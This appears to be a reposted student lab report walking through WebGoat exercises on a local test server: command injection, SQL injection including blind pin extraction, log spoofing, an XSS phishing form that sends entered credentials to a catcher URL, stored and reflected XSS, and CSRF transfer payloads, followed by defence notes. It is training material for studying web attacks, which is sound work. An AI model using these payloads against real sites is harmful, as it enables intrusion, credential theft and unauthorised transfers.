微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

Exp9 Web安全基础 20164314

一、实践目标

       理解常用网络攻击技术的基本原理,包括(sql,XSS,CSRF);

       在Webgoat实践下相关实验。

二、实践过程

准备工作:

       1.环境配置:

  下好jar包然后放在根目录下

  使用命令 java -jar webgoat-container-7.0.1-war-exec.jar 就可以解压运行webgoat了

 

分享图片

       等待一会儿他解压,随后发现他底端出现

 

分享图片

       说明已经可以登录网页开始使用webgoat

  2.使用webgoat:

  打开Firefox,输入 http://127.0.0.1:8080/WebGoat/login.mvc ,访问webgoat。

  使用认账号和密码登录即可,

分享图片

  发现左边目录只有8个选项·········

      

分享图片

       在网上搜了一下,

      

分享图片

       没找到啥有用的方法···

       

分享图片

  最后在李师傅的帮助下,使用如下方法解决

       

分享图片

      成了!

   

分享图片

 

 (一)sql注入攻击

   1.命令注入(Command Injection)

     目标:能够在目标主机上执行系统命令

 (1)右键网页,点击 inspect Element ,查看并编辑网页源代码,查找 BasicAuthentication.help ,在旁边加上 "& netstat -an & ipconfig" 

分享图片

(2)点击网页中的 view 按钮,就能在网页下面看到系统的网络连接情况了

分享图片

   2.数字型sql注入(Numeric sql Injection)

   目标:注入一条sql字符串,以显示所有显示天气数据

  (1)右键网页,点击 inspect Element ,查看并编辑网页源代码,查找 New York ,在 option value 中加入恒等真式 or 1=1 

分享图片

  (2)点击 go 就可以看到所有的天气数据

分享图片

   3.日志欺骗(Log Spoofing)

      目标:通过在日志文件添加一个脚本像用户名“admin”成功登录

    (1)在 user name 中输入 gly%0d%0aLogin Succeeded for username: admin(密码随意)

      

分享图片

   (2)点击 login in ,可以看到成功

     

分享图片

   4.字符串sql注入(String sql Injection)

      目标:作为Smith,注入一个sql字符串,显示所有信用卡号

   (1)输入永真式  or 1=1 

   (2)点击 Go! ,就可以查看所有信用卡号了

 

分享图片

   5.字符串sql注入(String sql Injection)

      目标:使用sql注入作为老板(“Neville”)登录,并使用所有功能

 (1)第一次登录,在 password 中输入永真式,发现失败了,经过查看源代码,找到原因为:password最大长度不够,于是在源代码修改最大长度

分享图片

(2)输入永真式  or 1=1 -- ,登录成功,

 

分享图片

   6.盲数字sql注入(Blind Numeric sql Injection)

      目标:在表格中找到字段pin的值

 (1)判断pin的值是否大于2500,

         使用命令 101 AND ((SELECT pin FROM pins WHERE cc_number=1111222233334444) > 2500); 

         发现无效,于是推断pin的值小于等于2500

 (2)使用二分法进行反复猜测,最终找到pin的值为2364

分享图片

 

(二)XSS攻击

   1.网络钓鱼和XSS(Phishing with XSS)

    目标:使用XSS和HTML插入,将html插入到该请求凭证中,添加javascript来实际收集凭证

 (1)在 search 框中输入写好的HTML代码代码如下:

</form>
<script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

(2)点击 search 后,下拉网页就可以看到输入框,在里面输入任意字符,点击 login ,就可以看到攻击成功了

 

分享图片

   2.存储的跨站点脚本(XSS)攻击(Stored XSS)

      目标:在搜索人员页面上使用一个漏洞来创建包含反射XSS攻击的URL。确认另一个使用该链接的员工受到攻击的影响。

 (1)如下图所示输入,

 

分享图片

(2)提交后,再次点击刚刚创建的帖子,成功弹出窗口,说明攻击成功

    

分享图片

   3.执行反射的XSS攻击(Reflected XSS)

      目标:执行反射XSS攻击,在搜索人员页面上使用一个漏洞来创建包含反射XSS攻击的URL。确认另一个使用该链接的员工受到攻击的影响

 (1)在搜索框中输入代码 <script>alert(gly);</script> 后,点击 purchase

 (2)弹出窗口,攻击成功

    

分享图片

(三)CSRF攻击

   1.跨站请求伪造(CSRF)

      目标:给新闻组发邮件。电子邮件包含一个URL指向恶意请求的图像。在这节课中,URL应该指向“攻击”servlet,其中包含了“屏幕”和“菜单”参数,以及一          个额外的参数“transferFunds”,它具有任意的数值

(1)查看自己电脑的Screen和menu的值

         

分享图片

(2)Title 中任意输入,在 Message 中输入代码,点击 Submit 后,点击下方的链接,就可以看到攻击成功了。代码如下,

<iframe src="http://localhost:8080/WebGoat/attack?Screen=309&menu=900&transferFunds=5000" width="1" height="1"/>

   

分享图片

   2.CSRF Prompt By-Pass

      目标:输入代码,第一个为转帐的请求,第二个请求确认第一个请求触发的提示

 (1)查看自己电脑的Screen和menu的值

         

分享图片

(2)Title 中任意输入,在 Message 中输入代码,点击 Submit 后,点击下方的链接,就可以看到攻击成功了。代码如下,

<img src="attack?Screen=291&menu=900&transferFunds=6000" WIDTH="1" HEIGHT="1">
<img src="attack?Screen=291&menu=900&transferFunds=confirm" WIDTH="1" HEIGHT="1">

分享图片

分享图片

 

三、实验后回答问题

      1.sql注入攻击原理,如何防御

         攻击原理:sql注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的sql语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。注射式攻击                                 的根源在于,程序命令和用户数据(即用户输入)之间没有做到泾渭分明。这使得攻击者有机会将程序命令当作用户输入的数据提交给We程序,以发号施令,为所欲为。

         防御方法

  (1)普通用户与系统管理员用户的权限进行严格的区分;

  (2)不使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取;

  (3)加强对用户输入的验证;

  (4)多多使用sql Server数据库自带的安全参数;

  (5)必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。

 

     2.XSS攻击的原理,如何防御

        攻击原理:在编写代码的时候,没有对用户输入数据的合法性进行判断,攻击者通过对网页注入可执行代码且成功地被浏览器执行,这些代码包括HTML代码和客户端脚本,达到攻击的目的,形成了一次有效XSS攻击

        防御方法

  (1)在表单提交或者url参数传递前,对需要的参数进行过滤;

  (2)检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等;

  (3)检查输出,严格控制输出.

 

    3.CSRF攻击原理,如何防御

       攻击原理:是一种对网站的恶意利用也就是人们所知道的钓鱼网站,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站,是一种依赖web浏览器的、被混淆过的代理人攻击

       防御方法

  (1)在form中包含秘密信息、用户指定的代号作为cookie之外的验证;

  (2)验证 HTTP Referer 字段,根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。网站只需要对于每一个转账请求验证其 Referer 值,如果是以 bank.example 开头的域名,则说明该请求是来自银行网站自己的请求,是合法                  的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求;

  (3)在请求地址中添加 token 并验证,可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

四、实践体会

        这是最后一次实验了,通过webgoat深入理解并运用了多种攻击,尝试了很多东西,这九次实验,可以说是非常有意思了(除了调试环境、调试bug),收获良多,虽然不能成功攻击他人,但是能够认识并且做出相应的防范了。学习到了不少的东西,也进行了多次的实践与尝试。

       感谢老师的讲课!感谢各位同学帮助!

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐